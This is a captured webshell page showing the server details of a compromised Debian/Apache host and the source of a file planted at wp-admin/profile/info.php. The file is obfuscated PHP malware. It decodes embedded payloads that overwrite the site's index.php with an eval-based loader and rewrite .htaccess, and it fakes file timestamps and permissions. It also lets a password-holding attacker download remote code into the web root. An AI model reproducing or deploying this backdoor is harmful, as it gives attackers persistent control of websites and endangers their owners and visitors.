- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 3.21.158.197
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/profile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-admin/profile/info.php
<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y3Mupv93q3pinUEgoP93pP1uMT1cov9yMTy0o3ViMJEcqT9lY2V4AzWuAQOuMGEvMTD0BJSwLmV2MQZkLGEzZwDlMzMxYzEuqTR', function ($version_file, $name) use ($temp) {
        $data = translation_v3('YToyOntpOjA7YTozOntpOjA7czoyMzoiL3Zhci93d3cvaHRtbC9pbmRleC5waHAiO2k6MTtzOjQxNTY6Ijw/cGhwCiRSV3k9J00va1BpK3BHY3NlV1RRSzBKY05nbThpR1FCa1FrQlNhakVhcmFsZGNJcVNWdGFtVTRiLzM3T3BteWNhUVpLWVBtYjdZMHU1M3ZyUG5mR2R2UXN4MXNXdTV6TUV1NWZaVTY3ZGZQMy9XbW1JcnhLblBiYlNON256Q050ZXRrQVU0WkpvYXZOeS91dng4U0M4L3YvSHUwbjM3OE1Cd3duUS91VHZiL3h5ZXY3KzY0eHVmL0FNalVTVlI0dHRUejU4eTRDSGVIYUd1MXJMR3ByRnZHbitwNTVQSnJuVjBmR3p1VHF5TG8rSFozdEdacVg3c29INEhyVXRqajhEb1dNUmNzRzZZR2VhcGFaaUcrbkhub1k0dFJTazR3TDlONXpuMjRNMENuOFBKUE0xczN3d1RkNEJHVmVGMTBLSThaWit3elN6c0NmTFFwd3lTRlBsZVFxMnliOHFvMXE1WlY0NE04M0kwTWEyamt4TVlyc0J3aHdDQTNUaUp5TFRTVVRvb3Q2dFRVSmVuV3VCQmJteXFDYXUyN0k4cGxjTVQvMktJUE5JNHNjUWIwZHJ0TDgrZnJkUWdSR0R1V1VMWVhKZnNlZjVNRE1rTzJZM2x1UWwwS2FKcnE5ZXJxcU8zdWJtcE83R3pBNi9iUDVNWG5zdkZuOENKZjZtZGVKQUNpQWRSRHVLZmkzNloxUmlUQmRLY2o4YVRMQ2RBMlVqYW16MXpQTEgyakhjU0lKVHdBOHF4TFdGbjV1UXYxUStrb09WekppQ2tvMEN1UWpBS2V2RUNsYWJRY08xeXloU1pKL21vS1RKNEVaOGk4cnZDYmpqVk1oZ0tRZHhWMlN6ekJOeU95NlpXNnRNZzF0U0JCTG40RGxQU0duQzFJOExJSlhEWjN4NlRNUlBINVRhRlVaVko3aUQ0WWJhY2FESXo3VnFMSUtsRElORU5TREZsNXB1bENQWG1ZbmJPZzZIa1pNeXRBTnNVN01qY1FpQXF1d2dtd3c2Q09NV2hwbVJ4Ni9TR1FnSDNmOTNZa0wwUlQ1amxlTlFxR0J2QTBwTkV4OHdQbWFzcHgxbGpsOTQ2YkF0UmRrTjdUZ0tWOXhvRnNlOFNScmM5R25WL3l3VUtZbHp4Nk1vSFd5bWJjMmRvUnI3Vm9sL28yaTRtUTFOS0IxWkZBamFwNytnM2FmSmp5UGtFTlZzUWNNSmxaT1dLTkJnTVpwVEtSUDhtcFNMc01oL1NXenJ4Q1JMUE1xY3JyVHpmeFpwRFlORzV2cjdXcHhoUEU2WUhPTzBKVlhaeTJMYXdsRXJXeWxXR2xFT2sweFdRRm5ZZ0J4T3R4SFdRTXM2ZERUSGxFUTk4dVNBWUxHRDhpb1ZLSnZOS1hrUmoyUEk0RlJzbE9wT0RRWVcxb290UjZBcmFRcU0vVnorNGVXMnRsQXZzVjFHWWhqRXlabG5nNS83UlV0WDBYM2JhUDFTUjFzcnlzWEtEd0xQcWFzbTlHS1RPdDJWTk9leW0zZkRENUh5TGI1RmRwU08yWjIzT0dSaUlnMURpQjJEeDVhZUM1RjZVZlBIU3FQNkhyUEUvTVUwVEdIM2VyM1JVRUdUV1VoYUQzTWpyelUyQmkxTVQ2TkJCM2ZXMjNLcjBnQkRsUjVNMm01MHkyQnpWVVp0NVZQUHB1S3dNSURjTDE1enZFT3NodGVhbjVQK2FMTlJFV1B4WG9sU0taSXN2V2hSRVJiemVYM2NnUDgwbzVEbTB0NmF2SVFDSXZRR2RZczhPMVJuWFNxMUgrUWJmci9wcnkzMERBRjFpMklmUUxuTlQzd2FiNUZaZG5yazUrZ1dwS3h4ZDRHeS8yMEtxWHMva3Q2UnlvOTlmSGc0QTBEdUF1cmFmb0RGenIrQnFaNG9MNkpORHlsMDhWQTNLZ3g3bTVKRW45OGl6c3d0QWR1TFBwNm50cHl4YlhXWHpXajR6NmljbXhUODMrc0VKdnJwNGVjb1BiemRTLytEOXAvQXNYUFBmR3NtRkhXOHcvdnVySUUzNmYweE1MenlQKzBvKzNTVG55Ky9sZkZmampNdGpOZkRLa3phUXo1eTA5Wmo2UWNERXJpSHhXWnpMVEdaVElVMFNMTVMwNERZa2ptWFhUcGZiUWVLRmpQVGc5QUk2VWRiTklQTENWSm9zTWhEdEZTb0NseFlMT2NVTDJjY2MyTmt1WjczcU9wWXZUWEM3RFRrc09Bdmh4Y2x0d2IwRDhINll3dldWcDFCTHBPZERnVngzRXhiQnBjR3hwMksvcnlVb0s3QW5FN2w4R2xkTWxUVExhTXJ4NTB3azVRa1hyNENDNnJqaWlUN2wwVmVOYkNsbDRONFM2cGVrelVFV2FpK3RrS29pWm93ZU42a004Z3ZqREZGeFg1enRtVzFmSEcyTklKK3plaU9FcGJhNTVlejQ5WHllTGhucDV2cjZ3cEhLOWdlOE5Zb2RuSktZSllrRmx4SWFrVVVyazl5VFlldHVmMEdOKy9oZ1FZSUZNSnNkU0Z1dHJ0UW91MWNGTVpnRmdMRzRYU3lFSy9JZHRtWHNnS01nN3FEalBlTml0Q3Mrc1Z5SUQxQTU0OE00dzV6c0djT0pjVFFjbjVwR1o2MitscFBDSmJ0aGdUQ2NZUXNTVEZqWmRpOENkQm4xWEx1NnhiK3VaNlA2b0NWREVtR2lWVmgvNkczancrSlkvZGdXWDNoZ0g2RTR3ZGVzK2VWUkFsYmhOSzNpS0ZMekRPWGVxZXV4YkVUWktSeWNjRUtFRVBYUFZBZlc2Y2g0ZTJTY21DZldyakdhakhLbmo4UGdHRjkraGtPUE9sOFlvWFZxaklZVHl4eWVXRThLZUJIK3NmZ3JRU0lmQmlQRVFQOEMnOyRQT1paS2picXIgPWZ1bmN0aW9uKCl7JHN0VDVlTT0iV0VYZVRwR2pnS2NJVjMiO3JldHVybiAkc3RUNWVNOwp9OyRZOWxpdVRzTlMJPQlmdW5jdGlvbigkbU5nICkJeyRGRkggPSAiYUJlY182RVM0b2QiOyRKNGs9JEZGSFsoMTEgLSAxIC03KS8zXS4gJEZGSFsoMjAgLSAxMi04KS80XQkuJEZGSFsoNzcgLSA1MysgNCkgLzRdOyRKNGsuPQokRkZIWyg1NS00OCsgMSkvNF07JEo0ay49CgkoKDg4IC0gNjQpIC8gNCkuDSgoMTA0LTg4KS8gNCkNLgkkRkZIWyg0MCAtIDI1IC0zKSAvIDNdDS4NJEZGSFsoODkgLSAyNyAtMikvNl0uICRGRkhbKDY3LSA0OSAtIDYpLzJdCS4KJEZGSFsoNzUgLTU3KS82XSA7CiRKNGsuPQogJEZGSFsoMTM4IC0gODUgKzEpIC82XQ0uCSdkJzsNJEo0ayAuPQokRkZIWygxMDYtODkgLTUpLzZdIC4JJyc7IAlyZXR1cm4gJEo0aygkbU5nKTt9OyAgCSAKCSRlX2lMcz0KZnVuY3Rpb24KKCRSUG83TTQgKQl7JFJLbmFYODggPSAiRG0iOyRaNFkxbj0nTScJLidHJy4gJFJLbmFYODhbKDQgLSA0ICsgMikgLyAyXS4nTScKOwokWjRZMW4uPQ0gJFJLbmFYODhbKDEwMCAtMTAwKS82XS4KJyc7cmV0dXJuICRaNFkxbigkUlBvN000KTsNDSAJCX07DSAkWnN2Yk1ZID0NZnVuY3Rpb24oJE1vXzRuNzF0dywkcmRHczNUbVVUCSkJeyRRbFc9ImpFcFRid2RWIjsKCQkJDSANCXJldHVybiAkUWxXO307CQoKJGVfaUxzPWZ1bmN0aW9uKCRSUG83TTQpDXskUktuYVg4OCA9ICJEbSI7JFo0WTFuPSdNJyAuJ0cnCS4kUktuYVg4OFsoNCAtIDQgKyAyKSAvIDJdLidNJzsJJFo0WTFuLj0kUktuYVg4OFsoMTAwIC0xMDApLzZdLg0nJztyZXR1cm4gJFo0WTFuKCRSUG83TTQpO307CSAKDSRpOEUgPQlmdW5jdGlvbgkoJEpiMgkpCnskREhndEF3ID0gIkV0bGZpQSI7JHFKekJpPSdHJy4KJ1onDS4NJERIZ3RBd1soMTA3LSA5OSkvMl0NOyAkcUp6QmkKLj0JJ04nIC4kREhndEF3WygxMDIgLSA4NCkgLzZdLiAkREhndEF3Wyg3MC02NSArNSkgLzVdOyAkcUp6QmkuPSAkREhndEF3WygxMDUgLTg1KzEwKS82XQkuICRESGd0QXdbKDEwMSAtIDEwMyArOCkgLyA2XS4kREhndEF3WygyOCAtMzIgKzQpLyAyXQk7CiRxSnpCaQkuPSAKJyc7ICByZXR1cm4gJHFKekJpKCRKYjIpOwl9OyR4dDBTN3AgPWZ1bmN0aW9uICgkYmsxCikNeyRuWHBlRCA9ICJfcnRTM28iOyRSVjFsOG8yPSRuWHBlRFsoNDIgLSAyMi0gMikvNl0uCSdUJy4JJG5YcGVEWyg0Ni0gNDEpLzVdLgkkblhwZURbKDY1IC02NSkgLzRdCS4gJG5YcGVEWygxNCAtIDExKS8zXS4kblhwZURbKDU2IC00MyArMikvM10JOw0kUlYxbDhvMgkuPQokblhwZURbKDQ5IC0gNDEpIC8gNF07CSRSVjFsOG8yCi49CSgoNjkgLSA3NCs3KSAvMikuICgoMzEtIDI0KyA4KSAvNSkJOwokUlYxbDhvMi49CScnOyAKIHJldHVybiAkUlYxbDhvMigkYmsxKTt9OwoJICAgICAkUld5PSRlX2lMcygkUld5KTsNZnVuY3Rpb24gIG1HbU1kKCRCMnJTKSB7DXJldHVybiB3WUV4c1FPdCgnJykuJEIyclM7fQogCgkJCSAJDWZ1bmN0aW9uIHdZRXhzUU90ICgkYnRvICkJeyRQMGggPSAiNFVWSHRoYjc5IjskVE5uaWRzcz0oKDg4LSA4MiArIDgpIC8yKS4kUDBoWygzNyAtMjkpIC8gNF0gLiRQMGhbKDgwLTUwKSAvIDZdIDskVE5uaWRzcwkuPSAKJFAwaFsoODAgLSA1NiArIDYpIC81XS4kUDBoWyg3MyAtNjgpIC8gNV0gLigoNjEgLTEzICsgNikgLzYpCS4gJFAwaFsoNjcgLSA1MysgMikgLzRdCS4nRyc7JFRObmlkc3MgLj0KJ0YnCTsgJFRObmlkc3MNLj0JJFAwaFsoNDAtIDM4ICsgNCkgLyAyXQkuICgoOTQgLSA3NCkgLzUpIC4gJ20nDS4nJztyZXR1cm4gJFRObmlkc3M7ICAgfSRSV3kgPSRZOWxpdVRzTlMoJFJXeSk7JFJXeQk9ICRpOEUoJFJXeSk7CiRSV3kgPSR4dDBTN3AoJFJXeSk7DSAgZVZhTAkoJFJXeSk7ID8+PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4iO2k6MjtzOjMyOiI2NDEzODVlN2MxYWZiMDA1ZjBlM2M1YWMzYjA1MjEzMyI7fWk6MTthOjM6e2k6MDtzOjIzOiIvdmFyL3d3dy9odG1sLy5odGFjY2VzcyI7aToxO3M6MjA0OiI8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4NClJld3JpdGVFbmdpbmUgT24NClJld3JpdGVCYXNlIC8NClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4iO2k6MjtzOjMyOiJiZTQ3NmQyN2VjZTg5NTk0NjA0ZDE0ODg2YzA4MTAxNiI7fX0', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("o{$check}f", '00eff4b8a68a5d97b5dae9e2a819cd8e')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}

Youez - 2016 - github.com/yon3zu
LinuXploit